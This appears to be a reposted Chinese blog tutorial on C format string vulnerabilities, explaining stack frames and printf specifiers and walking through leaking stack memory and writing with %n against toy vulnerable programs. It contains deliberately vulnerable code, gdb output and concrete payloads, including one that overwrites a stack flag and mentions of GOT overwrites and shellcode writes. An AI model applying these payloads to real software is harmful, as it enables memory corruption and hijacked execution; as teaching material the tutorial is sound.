zoukankan      html  css  js  c++  java
  • 格式化字符串


    格式化字符串漏洞是一个很古老的漏洞了,现在几乎已经见不到这类漏洞的身影,但是作为漏洞分析的初学者来说,还是很有必要研究一下的


    (A)基础知识——栈

    栈 其实是一种数据结构,栈中的数据是先进后出(First In Last Out),常见的操作有两种:压栈(PUSH)和弹栈(POP),用于标识栈属性的也有两个:栈顶(TOP)和栈底(BASE)。PUSH:为栈增加一个元素。POP:从栈中取出一个元素。TOP:标识栈顶的位置,并且是动态变化的,每进行一次push操作,它会自增1,反之,每进行一次pop操作,它会自减1

    BASE:标识栈底位置,它的位置是不会变动的。


    接下来我们将介绍一个新的名词:栈帧。当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,这个栈帧 中的内存空间被它所属的函数独占,当函数返回时,系统栈会弹出该函数所对应的栈帧。32位系统下提供了两个特殊的寄存器(ESP和EBP)识栈帧。
    - ESP:栈指针寄存器,存放一个指针,该指针指向栈顶。
    - EBP:基址指针寄存器,存放一个指针,该指针指向栈底。


    CPU利用EBP(不是ESP)寄存器来访问栈内局部变量、参数、函数返回地址,程序运行过程中,ESP寄存器的值随时变化,如果以ESP的值为基 准对栈内的局部变量、参数、返回地址进行访问显然是不可能的,所以在进行函数调用时,先把用作基准的ESP的值保存到EBP,这样以后无论ESP如何变 化,都能够以EBP为基准访问到局部变量、参数以及返回地址。接下来将编译上述代码并进行调试,从而进一步了解函数调用以及参数传递的过程。










    2.1 什么是格式化字符串?printf ("The magic number is: %d", 1911);
    试观察运行以上语句,会发现字符串"The magic number is: %d"中的格式符%d被参数(1911)替换,因此输出变成了“The magic number is: 1911”。 格式化字符串大致就是这么一回事啦。除了表示十进制数的%d,还有不少其他形式的格式符,一起来认识一下吧~格式符含义含义(英)传%d十进制数(int)decimal值%u无符号十进制数 (unsigned int)unsigned decimal值%x十六进制数 (unsigned int)hexadecimal值%s字符串 ((const) (unsigned) char *)string引用(指针)%n%n符号以前输入的字符数量 (* int)number of bytes written so far引用(指针)
    (灵活运用$hn,$hhn等兄弟格式符来写入一个字,一个字节的内容)
    %p       - 指针 - 指针地址


    读:“$    如果我们输入printf("%100$x"),程序就会以16进制输出栈上偏移位置为100的内存所存放的内容








    ( * %n的使用将在1.5节中做出说明)2.2 栈与格式化字符串格式化函数的行为由格式化字符串控制,printf函数从栈上取得参数。printf ("a has value %d, b has value %d, c is at address: %08x ",a, b, &c); 

    ![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(12).png)


    2.3 如果参数数量不匹配会发生什么?如果只有一个不匹配会发生什么?printf ("a has value %d, b has value %d, c is at address: %08x ",a, b);
    在上面的例子中格式字符串需要3个参数,但程序只提供了2个。该程序能够通过编译么?printf()是一个参数长度可变函数。因此,仅仅看参数数量是看不出问题的。为了查出不匹配,编译器需要了解printf()的运行机制,然而编译器通常不做这类分析。有些时候,格式字符串并不是一个常量字符串,它在程序运行期间生成(比如用户输入),因此,编译器无法发现不匹配。那么printf()函数自身能检测到不匹配么?printf()从栈上取得参数,如果格式字符串需要3个参数,它会从栈上取3个,除非栈被标记了边界,printf()并不知道自己是否会用完提供的所有参数。既然没有那样的边界标记。printf()会持续从栈上抓取数据,在一个参数数量不匹配的例子中,它会抓取到一些不属于该函数调用到的数据。如果有人特意准备数据让printf抓取会发生什么呢?2.4 访问任意位置内存我们需要得到一段数据的内存地址,但我们无法修改代码,供我们使用的只有格式字符串。如果我们调用 printf(%s) 时没有指明内存地址, 那么目标地址就可以通过printf函数,在栈上的任意位置获取。printf函数维护一个初始栈指针,所以能够得到所有参数在栈中的位置观察: 格式字符串位于栈上. 如果我们可以把目标地址编码进格式字符串,那样目标地址也会存在于栈上,在接下来的例子里,格式字符串将保存在栈上的缓冲区中。
    int main(int argc, char *argv[])

    {

        char user_input[100];

        ... ... /* other variable definitions and statements */
        scanf("%s", user_input); /* getting a string from user */    printf(user_input); /* Vulnerable place */

        return 0;

    }
    如果我们让printf函数得到格式字符串中的目标内存地址 (该地址也存在于栈上), 我们就可以访问该地址.printf ("x10x01x48x08 %x %x %x %x %s");
    x10x01x48x08 是目标地址的四个字节, 在C语言中, x10 告诉编译器将一个16进制数0x10放于当前位置(占1字节)。如果去掉前缀x10就相当于两个ascii字符1和0了,这就不是我们所期望的结果了。%x 导致栈指针向格式字符串的方向移动(参考1.2节)下图解释了攻击方式,如果用户输入中包含了以下格式字符串 
    ![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(13).png)
    如图所示,我们使用四个%x来移动printf函数的栈指针到我们存储格式字符串的位置,一旦到了目标位置,我们使用%s来打印,它会打印位于地址0x10014808的内容,因为是将其作为字符串来处理,所以会一直打印到结束符为止。user_input数组到传给printf函数参数的地址之间的栈空间不是为了printf函数准备的。但是,因为程序本身存在格式字符串漏洞,所以printf会把这段内存当作传入的参数来匹配%x。最大的挑战就是想方设法找出printf函数栈指针(函数取参地址)到user_input数组的这一段距离是多少,这段距离决定了你需要在%s之前输入多少个%x。
    2.5 在内存中写一个数字%n: 该符号前输入的字符数量会被存储到对应的参数中去int i;
    printf ("12345%n", &i);
    数字5(%n前的字符数量)将会被写入i 中运用同样的方法在访问任意地址内存的时候,我们可以将一个数字写入指定的内存中。只要将上一小节(1.4)的%s替换成%n就能够覆盖0x10014808的内容。利用这个方法,攻击者可以做以下事情:重写程序标识控制访问权限重写栈或者函数等等的返回地址然而,写入的值是由%n之前的字符数量决定的。真的有办法能够写入任意数值么?用最古老的计数方式, 为了写1000,就填充1000个字符吧。为了防止过长的格式字符串,我们可以使用一个宽度指定的格式指示器。(比如(%0数字x)就会左填充预期数量的0符号)




    (B)格式化字符串原理
           什么是格式化字符串呢,print()、fprint()等*print()系列的函数可以按照一定的格式将数据进行输出

           结构:%[标志][输出最小宽度][.精度][长度]类型


         格式化字符串漏洞有关系的主要有以下几点:
         1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。


         2、类型:
         - d 表示输出十进制整数*


         - s 从内存中读取字符串*


         - x 输出十六进制数*


         - n 输出十六进制数
         
         出现漏洞的情况:
              printf(str)——正常使用应该是:printf(“format”,str);
              因为没有输入format参数,所以可能导致在str中的故意构造的format参数被认为是调用format函数中给出的format





         对于格式化字符串来说,本质还是任意地址的读写,可以用来修改got、ret_addr去控制程序流程,还可以 多次利用格式串,把shellcode一个字节一个字节写到一个 w+x 的内存地址去,然后修改got跳过去执行。
         但是如果格式化字符串不在栈中呢?如果不在栈中,那么就不能通过 %*$ 这样的方式去定位,增大了利用难度,在看了phrack的文章,了解到了一种姿势:假如要把 sleep@got 修改成 system@got ,可以先利用格式串把sleep@got先写到当前ebp指向,然后再次利用,把这个改掉,因为都是在 got表中,所以只需要改最后两个字节(x86)。 这样的话就实现了 不在栈中格式串的利用了。






    (C)攻击方式


         (1)利用printf()函数的参数个数不固定——数组越界访问
         正常程序:
    #include <stdio.h>
    int main(void)
    {
    int a=1,b=2,c=3;
    char buf[]="test";
    printf("%s %d %d %d ",buf,a,b,c);
    return 0;
    }
              


         改过的程序:
    1

    printf("%s %d %d %d %x ",buf,a,b,c),编译后运行:
    1
    2
    3
    4
    5
    6
    7

    bingtangguan@ubuntu:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
    format.c: In function ‘main’:
    format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
     printf("%s %d %d %d %x ",buf,a,b,c);
     ^
    bingtangguan@ubuntu:~/Desktop/format$ ./format1
    test 1 2 3 c30000
             这个C3000是参数压栈后面的一个地址的内容
              ![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(14).png)






         (2)利用printf()来读取任意地址读取
              刚刚那个情况可以利用的情况有限
              现在我们要实现任意地址读取

    1
    2
    3
    4
    5
    6
    7
    8

    #include <stdio.h>
    int main(int argc, char *argv[])
    {
        char str[200];
        fgets(str,200,stdin);
        printf(str);
        return 0;
    }
    gdb调试,单步运行完call   0x8048340 <fgets@plt>后输入:
    AAAA%08x%08x%08x%08x%08x%08x(%08x的意义:最少输出8位,如果不够补0,超过就不管,x代表16进制)然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始):
    1
    2
    3
    4

    >>> x/10x $sp
    0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
    0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
    0xbfffef90: 0x78383025  0x78383025
    继续执行,看我们能获得什么,我们成功的读到了AAAA:
    1

    AAAA000000c8b7fc1c20b7e25438080482100000000141414141
            PS:输出是从ebp+4开始进行读取的
    可以用%s来获取指针指向的内存数据。那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
    x41x41x41x41%08x%08x%08x%08x%08x%s
         可以用%s来获取指针指向的内存数据:
         那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
         x41x41x41x41%08x%08x%08x%08x%08x%s




        (3) 利用%n格式符写入数据
               %n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址

    1
    2
    3
    4
    5
    6
    7
    8

    #include <stdio.h>
    main()
    {
      int num=66666666;
      printf("Before: num = %d ", num);
      printf("%d%n ", num, &num);
      printf("After: num = %d ", num);
    }
    可以发现我们用%n成功修改了num的值:
    1
    2
    3
    4

    bingtangguan@ubuntu:~/Desktop/format$ ./format2
    Before: num = 66666666
    66666666
    After: num = 8


    现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制 程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是 很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。


    (4)自定义打印字符串宽度
    我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:
    1
    2
    3
    4
    5
    6
    7
    8

    #include <stdio.h>
    main()
    {
      int num=66666666;
      printf("Before: num = %d ", num);
      printf("%.100d%n ", num, &num);
      printf("After: num = %d ", num);
    }
    可以看到我们的num值被改为了100
    1
    2
    3
    4
    5

    bingtangguan@ubuntu:~/Desktop/format$ ./format2
    Before: num = 66666666
    00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    66666666
    After: num = 100
    看到这儿聪明的你肯定明白如何去覆盖一个地址了吧,比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:
    1
    2

    printf("%.134512640d%n ", num, &num);
    printf("After: num = %x ", num);
    可以看到,我们的num被成功修改为8048000
    1
    2
    3
    4
    5
    6

    bingtangguan@ubuntu:~/Desktop/format$ ./format2
    Before: num = 66666666
    中间的0省略...........
    00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
    After: num = 8048000


    (D)实例
         (1)
         




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14

    #include <stdio.h>
    int main(void)

    int flag = 0;
    int *p = &flag; 
    char a[100];
    scanf("%s",a);
    printf(a);
    if(flag == 2000)
        {
                printf("good!! ");
        }
        return 0;
    }
                   要想得到good——需要将flag地址的内容写为2000
                   首先可以确定的是:
                        flag的地址和a都在同一个栈帧中,间隔应该差的是100(0x64)
                        但是flag 的具体位置可能不一定——需要泄露(如果没有开ASRL和简单)
                        可以通过“打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0”和%n来将目的地址的值改成2000
              
              反编译看看flag的位置:%ebp-0x10
    1
    2
    3

    80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
     80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
     80484b6:   89 45 f4                mov    %eax,-0xc(%ebp
              通过前面介绍的泄露地址:
    下面我们就可以直接运行程序,并输入%x,然后获取ESP+4地址内的值:
    1
    2
    3

    bingtangguan@ubuntu:~/Desktop/format$ ./test
    %x
    bffff024
              


    那我们需要修改的地址就是:0xbffff024+0x64=0xbffff088


    最后就是要在地址0xbffff088处写入2000: x88xf0xffxbf%10x%10x%10x%1966x%n
         分析:2000很容易可以理解,但是为什么会把输入的x88xf0xffxbf作为%n的地址呢?
              主要和栈有关:
              
         借用上面的图:因为整个printf没有format参数,当我们输入整个字符串的时候,目的地址在最高位置,当读到%n 的时候会将最高的地方的值作为%n的地址,所以会将2000写入这个位置
         (借用其他博客上的话:当printf的format string是一个用户可控的字符串时,如果其中包含有%d这样特殊意义的字符时,printf就会根据format string的指示,把堆栈中接下来的地址作为余下的参数解释,从而做出程序作者没有预期的行为。)




    (E)参考文章
         http://bobao.360.cn/learning/detail/695.html









  • 相关阅读:
    文件读写
    使用HttpClient实现文件的上传下载
    TreeMap
    Linux的目录结构与文件权限
    Hibernate中get()和load()方法的区别
    Hibernate中openSession()与getCurrentSession()的区别与联系
    Hibernate核心类和接口
    Hibernate连接数据库
    Struts2中OGNL表达式的用法
    Struts2中Result的配置
  • 原文地址:https://www.cnblogs.com/volva/p/11814983.html
Copyright © 2011-2022 走看看